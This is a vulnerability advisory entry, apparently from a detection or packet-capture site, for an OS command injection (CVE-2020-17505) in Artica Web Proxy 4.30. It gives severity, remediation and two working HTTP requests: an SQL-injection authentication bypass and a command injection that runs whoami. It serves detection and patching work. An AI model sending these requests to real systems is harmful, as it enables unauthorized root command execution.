| Title | Artica Web Proxy 4.30 - OS Command Injection |
|---|---|
| Author | dwisiswant0 |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system. |
| Remediation | Upgrade to a patched version of Artica Web Proxy or apply the vendor-supplied patch to mitigate this vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.90192 |
| CVE ID | CVE-2020-17505 |
| CWE ID | CWE-78 |
| Tags | cve cve2020 proxy packetstorm rce artica articatech vkev vuln |
Artica Web Proxy 4.30 allows an authenticated remote attacker to inject commands via the service-cmds parameter in cyrus.php. These commands are executed with root privileges via service_cmds_peform.
GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Accept: */*
Accept-Encoding: gzip
GET /cyrus.index.php?service-cmds-peform=%7C%7Cwhoami%7C%7C HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.8
Connection: close
Accept: */*
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-17505.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-17505.pcap
N/AN/A